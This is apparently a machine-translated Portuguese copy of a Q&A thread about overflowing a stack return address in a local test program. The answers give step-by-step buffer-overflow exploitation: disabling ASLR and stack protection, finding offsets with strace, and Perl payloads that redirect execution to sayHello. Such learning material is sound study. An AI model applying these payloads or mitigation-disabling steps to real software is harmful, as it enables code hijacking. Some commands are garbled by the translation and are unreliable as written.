it-swarm-pt.tech

Problemas ao exceder o endereço de retorno na pilha x86_64

Para anotar antes de compilar o programa, desabilitei o ASLR via:

$ Sudo -i
[email protected]:~# echo "0" > /proc/sys/kernel/randomize_va_space 
[email protected]:~# exit
logout

Eu então compilei o programa via:

gcc -ggdb -mpreferred-stack-boundary=4 -o test vuln.c

(Eu também não entendi o parâmetro -mpreferred-stack-boundary=4)

Eu tenho um programa:

Source code of c program which I am trying to overflow

O estouro na teoria deve ocorrer quando o compilador chega à linha de gets(buff); onde estou tentando estourar o endereço de retorno ($RIP).

Abaixo está a desmontagem do meu método principal, getInput() e sayHello() (com o objetivo de mostrar o endereço do método sayHello, 0x4005d, Que Espero substituir a pilha RIP com).

Disas of the methods

Quando eu dou uma entrada acima de 15 x A, eu segfault o programa. E quando eu forneço mais de 24 x A, começo a sobrescrever o $RIP, Ou seja, 25 x A tornaria o valor RIP 0x00000000004000 41 . Logicamente, tentei fornecer os valores hexadecimais para "4005dc" (endereço sayHello ()), no entanto, falhei ao tentar isso. Ao usar conversores de hex para texto on-line, o valor de texto correspondente que recebo de "4005dc" é "@ Ü" .

Mais ainda, entendo que, quando o programa alcançou a instrução retq em getInput(), ele exibirá o endereço de retorno da parte superior da pilha e passará para ele.

3
reyyez

x86 APENAS PARA SOLUÇÃO: (ver comentários)

Se sua tarefa foi acertada, você deve estourar o ponteiro da função para sayHello.

Portanto, a primeira tarefa é identificar o endereço dessas funções.

nm test | grep sayHello

No meu caso, esse foi o resultado

0804844b T sayHello

Então eu tenho que substituir o endereço de retorno (RET) de getInput () com 0x0804844b. Agora você pode identificar via gdb a que distância do RET o buffer buff está localizado. Eu escolhi uma abordagem diferente, pois era bastante óbvio qual será o alcance. Portanto, meu próximo passo foi identificar a quantidade de dados a serem colocados no buff para sobrescrever o RET. Isso é feito usando o seguinte comando, que inserirá uma sequência de 'A' repetida 28 vezes quando o programa aguarda a entrada (gets ()):

Perl -e 'print "A"x28' | strace -i test

e olhou para que uma linha aparecesse no final:

[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---

Em seguida, reduzi o número de 28 para 24 e imprimi quatro vezes B para ver se o endereço na saída acima muda para [42424242] - não mudou, então reduzi de 24 para 20 e verifiquei novamente.

Perl -e 'print "A"x20; print "BBBB"' |strace -i ./test

[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

BINGO

O último passo é substituir BBBB pelo endereço (little-endian).

Perl -e 'print "A"x20; print "\x4b\x84\x04\x08"' | ./test

e a saída foi:

4\x04\x08"' |  ./test
AAAAAAAAAAAAAAAAAAAAK�
DONENENNE!!!!
Segmentation fault (core dumped)

Substituí com sucesso o RET pelo endereço de sayHello ().

Com isso fora do peito, vamos dar uma olhada na sua pergunta sobre as cordas de compilação.

-mpreferred-stack-boundary=4 man gcc é muito útil aqui. Você diz ao gcc com esse parâmetro para manter o limite da pilha alinhado com 2 ^ 4 (16 bytes). Se você deseja tê-lo em 16 bytes, você pode deixar o parâmetro, pois esse é o padrão.

No entanto, eu também usei o parâmetro -fno-stack-protector. Com isso, digo ao compilador para não adicionar código extra para verificar o estouro de buffer. Se você deixar isso de fora, não poderá explorar o seu binário de teste.

3
Zonk

x86_64 SOLUÇÃO:

Desculpe novamente por minha ignorância na primeira resposta, minha mente estava vagando ...

Mas na verdade não é tão diferente, aqui passo a passo como eu resolvi isso.

1) Compilação do código fonte:

$ gcc -fno-stack-protector -o vuln vuln.c

Nota: Renomeei o executável para vuln em vez de test, apenas algo que gosto de encomendar no meu sistema de arquivos.

2) Identifique o ADDR do sayHello ():

$ nm vuln | grep sayHello
00000000004005bd T sayHello

Portanto, o ADDR do sayHello é 0x0000004005bd, Precisamos substituir o RIP com esse valor antes que getInput() retorne.

3) Identifique o local de RET_ADDR a ser substituído pelo ADDR:

Semelhante à solução x86, precisamos identificar quantas vezes podemos passar 'A' (ou qualquer outro caractere) que o valor seja armazenado no local do RET_ADDR. O GDB é seu amigo aqui, especialmente com pedag . Você pode encontrar um excelente exemplo aqui .

No meu caso, eram 24 bytes => Perl -e 'print "A"x24'

4) Crie a carga útil para substituir RET_ADDR:

Este é o comando Perl, cujo resultado é alimentado na chamada gets ().

Perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"'

A segunda impressão dentro do comando Perl é usada para passar o ADDR de sayHello () no little-endian.

5) Comando PIPE de (4) para o programa:

$ Perl -e 'print "A"x24; print "\xbd\x05\x40\x00\x00\x00"' | ./vuln
AAAAAAAAAAAAAAAAAAAAAAAA�@
DONENENNE!!!!
Segmentation fault (core dumped)
1
Zonk